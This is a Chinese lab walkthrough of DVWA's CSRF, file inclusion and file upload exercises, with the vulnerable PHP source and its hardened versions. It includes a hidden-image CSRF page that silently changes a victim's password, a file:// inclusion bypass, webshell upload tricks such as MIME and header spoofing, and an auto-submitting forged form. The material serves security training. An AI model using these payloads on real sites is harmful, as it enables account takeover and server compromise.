【Dvwa】-CSRF+文件包含+文件上传

CSRF,全称 Cross- site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盜取cookie而是直接利用

Low代码分析



<?php
#看是否提交了change参数,直接检查是否新设置密码及其确认密码
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

构造恶意链接
http://ip/dvwa/vulnerabilities/csrf/passwordnew=password&passwordconf=password&Change=Change#
当用户在当前 cookie没有过期时,点击该链接完成用户密码修改

headers里面location指明了要跳转的链接。

漏洞高级利用

构造恶意页面,但是使用img标莶隐藏真实目的


<html>
<head>
</head>
<body>
<img src="http://ip/dvwa/vulnerabilities/csrf/?passwordnew=hack&passwordconf=hack&change=Change# border="0" style="display:none;" />
<h1>404<h1>
<h2>file not found. <h2>
</body>
</html>

用户使用浏览器访问该页面时,就会被修改。
注意:如果用户用A浏览器访问站点,又使用B浏览器访问恶意页面,不会触发漏洞。

Medium

PHP 函数 eregi()
语法
int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。

  <?php

    $password = "abc";
    if (! eregi ("[[:alnum:]]{8,10}", $password))
    {
       print "Invalid password! Passwords must be from 8 - 10 chars";
    }
    else
    {
      print "Valid password";
    }
    ?>

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
我们可以将攻击页面命名为ip.html(页面被放置在攻击者的服务器里)就可以绕过了。
Http_Host=Server_Name:Server_Port

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    #过滤规则是http的referer参数的值中必须包含主机名(cmd ipconfig获取)
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High

只有获取token才能进行CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难以利用。但是如果服务器存在存储XSS可以来获取token。然后构造url和代码进行CSRF利用。

文件包含

File Inclusion,意思是文件包含(漏洞),是指当服务器开启 allow_url_include选项时,就可以通过php的某些特性画数( include(), require()和 include_once(), require_once()。利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_ fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
文件包含常配合文件上传,用来获取webshell。

#str_replace及其不安全,通过双写即可绕过。
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

Medium

使用 fnmatch()确保$file是以file开头

包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护第略
http://127.0.0.1/script.php?page=file://E:\\phpstudy\\PHPTutorial\\WWW\flag.txt
至于代码执行,需要配合文件上传漏利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行。

flag.txt里面是

<?php
	phpinfo();
?>

Impossible

白名单验证


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

文件上传

Upload文件上传
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检査使得可以通过上传webshll获取服务器权限,因此文件上传漏洞带来的危害常常是毁灭性的。

LOW


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    #设置文件上传路径
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    #basename(path, suffix)
#返回path中的文件名部分,如果可选参数 suffix为空,
#则返回的文件名中包含后缀名,反之不包含后缀名。
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

上传一个木马文件。
在这里插入图片描述

在这里插入图片描述
…/…/表示上传到上两级路径下。那么vulneralilities/upload就没有了。拼接路径后得到:http://ip/DVWA/hackable/uploads/angle.php
使用冰蝎链接:
在这里插入图片描述

冰蝎使用参考:冰蝎3.0的使用方法与默认密码更改方法

又因为开启了url_include
在这里插入图片描述

Medium

如果只是修改后缀,则被当作jpeg文件,就不能执行php的webshell代码。

绕过方法,本地修改名称为.jpeg。则被识别为img/jpeg。在burpsuite抓包中,修改文件名为.php,则能够绕过,使得最终保存在服务器的文件是.php文件。

在这里插入图片描述


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    #验证文件名字,验证文件类型
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

High

getimagesize用来检测文件头。
绕过文件头:在webshell代码开头添加:GIF98
绕过getimagesize的检测。

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    #只允许上传三种
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        #getimagesize用来检测文件头。
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

Impossible

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    #目标文件重命名,使用了md5加密。随机化的uid。阻断00截断攻击,使文件名收到服务器控制而不是用户控制。
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

防御

1.上传文件进行了重命名(为md5值,异致%00截断无法绕过过滤规则)。
2.加入Anti- CSRF token防护CSRF攻击。
3.对文件的内容作了严格的检杏,导致攻击者无法上传含有恶意脚本的文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA是一个非常流行的Web漏洞测试平台,其中包含了很多Web漏洞的实验,包括CSRF攻击。 下面是实现DVWA CSRF-Token绕过实验的步骤: 1. 下载和安装DVWA 你可以从官方网站下载DVWA:http://www.dvwa.co.uk/。然后将其解压到Web服务器根目录中,并为其设置相应的权限。 2. 启动DVWA 在浏览器中访问http://localhost/dvwa/login.php,并使用默认的用户名admin和密码password登录到DVWA。 3. 打开CSRF绕过实验 在DVWA主页上,点击左侧菜单栏中的“CSRF”链接,然后选择“CSRF-Token绕过(低)”实验。 4. 分析目标页面 在实验页面中,有一个表单可以提交一个评论。我们的目标是利用CSRF攻击,来在用户不知情的情况下,提交一个恶意评论。 在浏览器中右键单击表单,选择“查看页面源代码”,然后查找表单中的隐藏字段“csrf_token”。 5. 编写攻击代码 在本地创建一个HTML文件,并编写以下代码: ```html <html> <body> <form action="http://localhost/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="comment" value="Hello, World!" /> <input type="hidden" name="submit" value="Submit" /> <input type="hidden" name="csrf_token" value="dvwa" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` 在这个代码中,我们使用表单的POST方法,将评论提交到目标页面。我们还设置了一个隐藏字段“csrf_token”,并将其值设置为“dvwa”,这样就可以绕过DVWACSRF保护。 6. 攻击目标 将HTML文件上传到Web服务器,并在浏览器中访问该文件。当页面加载时,攻击代码将自动提交表单,并将恶意评论发送到目标页面,而用户却毫不知情。 7. 验证攻击效果 在浏览器中访问http://localhost/dvwa/vulnerabilities/csrf/,并查看页面上的评论区,就可以看到我们刚才提交的恶意评论。 这就是利用CSRF-Token绕过漏洞实现攻击的步骤。请注意,这只是一个简单的演示,实际攻击可能需要更复杂的技术和步骤。因此,为了保护Web应用程序,开发人员需要采取一系列措施来防范CSRF攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值